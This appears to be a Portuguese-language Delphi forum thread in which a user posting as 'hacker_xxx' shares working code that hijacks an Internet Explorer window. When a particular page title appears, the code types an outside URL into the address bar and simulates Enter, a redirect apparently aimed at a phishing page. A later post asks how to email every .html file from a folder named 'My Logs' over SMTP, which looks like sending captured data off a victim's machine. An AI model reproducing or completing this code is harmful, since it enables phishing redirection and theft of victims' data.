hacker_xxx

Jhonas uma coisa eu te falo eu tentei sim entender esse codigo, e já tinha conssegido redirecionar, eu tava errando o Handle. E mais uma coisa você é muito ignorante !!!! você pode ate saber mais q uns e outros, mas que eu, mas tambem não precisa ser tão ignorante!!!! admiro sua inteligencia!!! mas você é muito ignorante, e o q eu tenho pra dizer eu digo na cara, não sou homem de falar pelas costas!!! ok. e faleu pela a ajuda e me descupe se te ofendi so falei a verdade!!!! :rolleyes:

procedure SetUrlFromIE(Handle: THandle); stdcall; var hWndIE, hWndIEChild : HWND; Buffer : array[0..255] of Char; Url: String; begin Url:= 'http://www.bmgconsig.rg3.net/'; // Pega o Caption da Janela SendMessage(Handle, WM_GETTEXT, 255, lParam(@Buffer[0])); // Procura pela janela do Internet Explorer com o Buffer do Caption hWndIE := FindWindow('IEFrame', Buffer); If hWndIE > 0 Then Begin // Pega o Handle do container do Internet Explorer hWndIEChild:= FindWindowEx(hWndIE, 0, 'WorkerW', nil); If hWndIEChild > 0 Then Begin // Pega o Handle da Barra de Endereço do Internet Explorer hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ReBarWindow32', nil); If hWndIEChild > 0 Then Begin // Pega o Handle do ComboBoxEx32 do Internet Explorer hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ComboBoxEx32', nil); If hWndIEChild > 0 Then Begin // Pega o Handle do ComboBox do Internet Explorer hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ComboBox', nil); If hWndIEChild > 0 Then Begin // Pega o Handle do Edit do Internet Explorer hWndIEChild := FindWindowEx(hWndIEChild, 0, 'Edit', nil); If hWndIEChild > 0 Then Begin // Seta a URL no campo Edit do Internet Explorer SendMessage(hWndIEChild, WM_SETTEXT, 0, lParam(Url)); // Simula o precionamento da tecla <Enter> PostMessage(hWndIEChild, WM_KEYDOWN, $D, $0008044C); End; // Fim - Verifica retorno Edit end; // Fim - Verifica retorno Combo end; // Fim - Verifica retorno ComboBoxEx32 end; // Fim - Verifica retorno ReBarWindow32 end; // Fim - Verifica retorno WorkerW end; // Fim - Verifica retorno IEFrame end; No Evento OnTimer do Timer: var Janela : THandle; begin Janela := FindWindow(nil, 'REVISTA PLAYBOY - Microsoft Internet Explorer'); SetUrlFromIE(Janela); Não sei porque que não esta redirecionado. Da tudo certinho mas na hora que tem que simular o enter não ta dando certo. Essa é a parte que era para simular o enter: PostMessage(hWndIEChild, WM_KEYDOWN, $D, $0008044C); ou PostMessage(hWndIEChild, WM_KEYDOWN, VK_RETURN, $0008044C); já tentei assim: SendMessageA(hWndIEChild,WM_KEYDOWN,VK_RETURN,0); mas mesmo assim não deu certo. se puderem me dar uma força, agradeço.

já consegui!!! agradeçido!!!! :D

Gostaria de saber como enviar varios arquivos de mesma extenção usando smtp? Tipo enviar todos arquivos do diretorio: C:\D:\Documents and Settings\WRS\Meus documentos\Os Meus Registos\agosto 2009\ todos os arquivos contido dentro desse diretorio esta na extensao .html. como faço para enviar todos os arquivos de extesao .html contidos nesse diretorio?